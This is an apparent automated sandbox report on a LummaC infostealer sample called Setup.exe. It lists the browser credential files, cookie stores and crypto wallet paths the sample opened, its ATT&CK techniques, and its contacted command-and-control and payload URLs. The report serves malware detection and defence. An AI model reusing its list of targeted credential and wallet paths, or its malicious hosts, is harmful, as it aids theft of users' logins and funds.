Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\Setup.exe

File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\Setup.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY			Jump to behavior
Source: C:\Users\user\Desktop\Setup.exe	Directory queried: C:\Users\user\Documents\IPKGELNTQY			Jump to behavior

Source: Yara match	File source: 00000000.00000003.2378707256.00000000005FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Setup.exe PID: 4440, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: Setup.exe PID: 4440, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	11 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	3 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	Logon Script (Windows)	1 Access Token Manipulation	1 DLL Side-Loading	Security Account Manager	11 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 PowerShell	Login Hook	1 Process Injection	21 Virtualization/Sandbox Evasion	NTDS	36 System Information Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Access Token Manipulation	LSA Secrets	221 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Process Injection	Cached Domain Credentials	21 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Setup.exe	18%	ReversingLabs	Win32.Infostealer.Generic

Source	Detection	Scanner	Label
https://monkeycutte.cyou/6	0%	Avira URL Cloud	safe
https://monkeycutte.cyou/D	0%	Avira URL Cloud	safe
https://monkeycutte.cyou/apid	0%	Avira URL Cloud	safe
https://cegu.shop/8574262446/ph.txt~%	100%	Avira URL Cloud	malware
https://monkeycutte.cyou/	0%	Avira URL Cloud	safe
Http://Www.SkyGz.Com	0%	Avira URL Cloud	safe
https://monkeycutte.cyou/A	0%	Avira URL Cloud	safe
https://cegu.shop/a	100%	Avira URL Cloud	malware
https://monkeycutte.cyou:443/apitPWdtPBE87140A	0%	Avira URL Cloud	safe
https://cegu.shop:443/8574262446/ph.txtBE87140A	100%	Avira URL Cloud	malware
https://cegu.shop/8574262446/ph.txtW	100%	Avira URL Cloud	malware
https://monkeycutte.cyou/api	0%	Avira URL Cloud	safe
https://cegu.shop/8574262446/ph.txt0%a	100%	Avira URL Cloud	malware
monkeycutte.cyou	0%	Avira URL Cloud	safe
https://cegu.shop/8574262446/ph.txtebKit/537.36	100%	Avira URL Cloud	malware
https://monkeycutte.cyou/api4	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
cegu.shop	185.161.251.21	true	false		high
monkeycutte.cyou	188.114.96.3	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
rabidcowse.shop	false		high
wholersorie.shop	false		high
https://monkeycutte.cyou/api	true	Avira URL Cloud: safe	unknown
monkeycutte.cyou	true	Avira URL Cloud: safe	unknown
cloudewahsj.shop	false		high
noisycuttej.shop	false		high
nearycrepso.shop	false		high
https://cegu.shop/8574262446/ph.txt	false		high
framekgirus.shop	false		high
tirepublicerj.shop	false		high
abruptyopsn.shop	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	Setup.exe, 00000000.00000003.2335168433.0000000003EAC000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2335394447.0000000003EAC000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2334933204.0000000003EAE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	Setup.exe, 00000000.00000003.2335168433.0000000003EAC000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2335394447.0000000003EAC000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2334933204.0000000003EAE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://monkeycutte.cyou/apid	Setup.exe, 00000000.00000003.2388429941.0000000000601000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2388484860.0000000000603000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cegu.shop/	Setup.exe, 00000000.00000002.4557178178.0000000000616000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2419244540.0000000000610000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.3019571658.0000000000614000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dfgh.online/invoker.php?compName=	Setup.exe, Setup.exe, 00000000.00000002.4558170646.0000000003E7C000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000002.4556995621.0000000000594000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2419130879.0000000000593000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.3019587641.0000000000593000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2419113996.00000000005F0000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000002.4556835270.0000000000539000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000002.4557073955.00000000005F1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	Setup.exe, 00000000.00000003.2335168433.0000000003EAC000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2335394447.0000000003EAC000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2334933204.0000000003EAE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.starfieldtech.com/0D	Setup.exe	false		high
http://crl.thawte.com/ThawteTimestampingCA.crl0	Setup.exe	false		high
https://monkeycutte.cyou/6	Setup.exe, 00000000.00000003.2388327596.0000000003E6D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://monkeycutte.cyou/D	Setup.exe, 00000000.00000003.2375656583.0000000003E6D000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2375480600.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2388327596.0000000003E6D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	Setup.exe, 00000000.00000003.2362566475.0000000003E92000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	Setup.exe, 00000000.00000003.2362566475.0000000003E92000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cegu.shop:443/8574262446/ph.txtBE87140A	Setup.exe, 00000000.00000003.2419040702.00000000005F8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	Setup.exe, 00000000.00000003.2335168433.0000000003EAC000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2335394447.0000000003EAC000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2334933204.0000000003EAE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://monkeycutte.cyou/A	Setup.exe, 00000000.00000003.2398589361.0000000003E6D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://monkeycutte.cyou/	Setup.exe, 00000000.00000003.2375480600.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2363473163.0000000003E6D000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000002.4558137225.0000000003E6D000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.3019587641.0000000000593000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2362047618.0000000003E69000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000002.4556835270.0000000000539000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2351291956.0000000003E6E000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2419023414.0000000003E6D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.starfieldtech.com/repository/sfsroot.crl0P	Setup.exe	false		high
https://cegu.shop/8574262446/ph.txt~%	Setup.exe, 00000000.00000002.4557178178.0000000000616000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2419244540.0000000000610000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.3019571658.0000000000614000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.all	Setup.exe, 00000000.00000003.2363547318.0000000003F82000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.mozilla.or	Setup.exe, 00000000.00000003.2363246624.0000000003E8F000.00000004.00000800.00020000.00000000.sdmp	false		high
Http://Www.SkyGz.Com	Setup.exe	false	Avira URL Cloud: safe	unknown
https://monkeycutte.cyou:443/apitPWdtPBE87140A	Setup.exe, 00000000.00000003.2398638736.00000000005F7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://klipvumisui.shop/int_clp_sha.txt	Setup.exe, 00000000.00000002.4557134720.0000000000604000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2419040702.00000000005F8000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2419244540.0000000000603000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.innosetup.com/	Setup.exe	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	Setup.exe, 00000000.00000003.2335168433.0000000003EAC000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2335394447.0000000003EAC000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2334933204.0000000003EAE000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cegu.shop/a	Setup.exe, 00000000.00000002.4557178178.0000000000616000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2419244540.0000000000610000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.3019571658.0000000000614000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cegu.shop/8574262446/ph.txtW	Setup.exe, 00000000.00000002.4558137225.0000000003E6D000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2419023414.0000000003E6D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ocsp.thawte.com0	Setup.exe	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	Setup.exe, 00000000.00000003.2335168433.0000000003EAC000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2335394447.0000000003EAC000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2334933204.0000000003EAE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	Setup.exe, 00000000.00000003.2362566475.0000000003E92000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	Setup.exe, 00000000.00000003.2362566475.0000000003E92000.00000004.00000800.00020000.00000000.sdmp	false		high
http://certificates.starfieldtech.com/repository/1604	Setup.exe	false		high
https://www.ecosia.org/newtab/	Setup.exe, 00000000.00000003.2335168433.0000000003EAC000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2335394447.0000000003EAC000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2334933204.0000000003EAE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.symauth.com/cps0(	Setup.exe	false		high
https://monkeycutte.cyou/api4	Setup.exe, 00000000.00000002.4556835270.0000000000585000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.3019416138.0000000000582000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	Setup.exe, 00000000.00000003.2363547318.0000000003F82000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cegu.shop/8574262446/ph.txt0%a	Setup.exe, 00000000.00000002.4557178178.0000000000616000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2419244540.0000000000610000.00000004.00000020.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.3019571658.0000000000614000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cegu.shop/8574262446/ph.txtebKit/537.36	Setup.exe, 00000000.00000002.4557974782.00000000037BB000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	Setup.exe, 00000000.00000003.2335168433.0000000003EAC000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2335394447.0000000003EAC000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2334933204.0000000003EAE000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.starfieldtech.com/repository/0	Setup.exe	false		high
http://www.remobjects.com/psU	Setup.exe	false		high
http://www.symauth.com/rpa00	Setup.exe	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	Setup.exe, 00000000.00000003.2362566475.0000000003E92000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.remobjects.com/ps	Setup.exe	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	Setup.exe, 00000000.00000003.2335168433.0000000003EAC000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2335394447.0000000003EAC000.00000004.00000800.00020000.00000000.sdmp, Setup.exe, 00000000.00000003.2334933204.0000000003EAE000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
188.114.96.3	monkeycutte.cyou	European Union		13335	CLOUDFLARENETUS	true
185.161.251.21	cegu.shop	United Kingdom		5089	NTLGB	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1585372
Start date and time:	2025-01-07 15:32:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Setup.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/0@2/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 31 Number of non-executed functions: 271
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for sample files taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 13.107.253.45, 172.202.163.200
Excluded domains from analysis (whitelisted): client.wns.windows.com, ocsp.digicert.com, otelrules.azureedge.net, slscr.update.microsoft.com, tile-service.weather.microsoft.com, fe3cr.delivery.mp.microsoft.com
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Setup.exe

Simulations

Behavior and APIs

Time	Type	Description
09:33:21	API Interceptor	9x Sleep call for process: Setup.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
188.114.96.3	Gg6wivFINd.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	unasnetds.ru/eternalPython_RequestUpdateprocessAuthSqlTrafficTemporary.php
	QUOTATION_NOVQTRA071244#U00b7PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/u7ghXEYp/download
	CV_ Filipa Barbosa.exe	Get hash	malicious	FormBook	Browse	www.mffnow.info/1a34/
	A2028041200SD.exe	Get hash	malicious	FormBook	Browse	www.mydreamdeal.click/1ag2/
	SWIFT COPY 0028_pdf.exe	Get hash	malicious	FormBook	Browse	www.questmatch.pro/ipd6/
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/I7fmQg9d/download
	need quotations.exe	Get hash	malicious	FormBook	Browse	www.rtpwslot888gol.sbs/jmkz/
	QUOTATION_NOVQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/Bh1Kj4RD/download
	http://kklk16.bsyo45ksda.top	Get hash	malicious	Unknown	Browse	kklk16.bsyo45ksda.top/favicon.ico
	QUOTATION_NOVQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Unknown	Browse	filetransfer.io/data-package/XrlEIxYp/download
185.161.251.21	setup.exe	Get hash	malicious	LummaC	Browse
	'Set-up.exe	Get hash	malicious	LummaC	Browse
	SET_UP.exe	Get hash	malicious	LummaC	Browse
	Set-UpFile_v25.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
	installer_1.05_36.8.exe	Get hash	malicious	LummaC	Browse
	setup.exe	Get hash	malicious	LummaC	Browse
	Setup.exe	Get hash	malicious	LummaC	Browse
	installer_1.05_36.7.exe	Get hash	malicious	LummaC Stealer	Browse

Domains

